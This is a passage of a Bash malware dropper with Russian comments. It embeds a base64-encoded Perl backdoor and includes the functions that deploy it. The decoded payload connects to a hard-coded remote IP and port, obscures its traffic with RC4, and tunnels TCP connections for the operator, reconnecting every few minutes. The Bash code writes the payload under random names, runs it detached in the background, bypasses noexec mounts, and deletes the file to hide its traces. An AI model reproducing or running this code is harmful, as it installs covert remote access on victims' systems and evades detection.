SAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_be9e0c33() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_ff4b4a29() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" 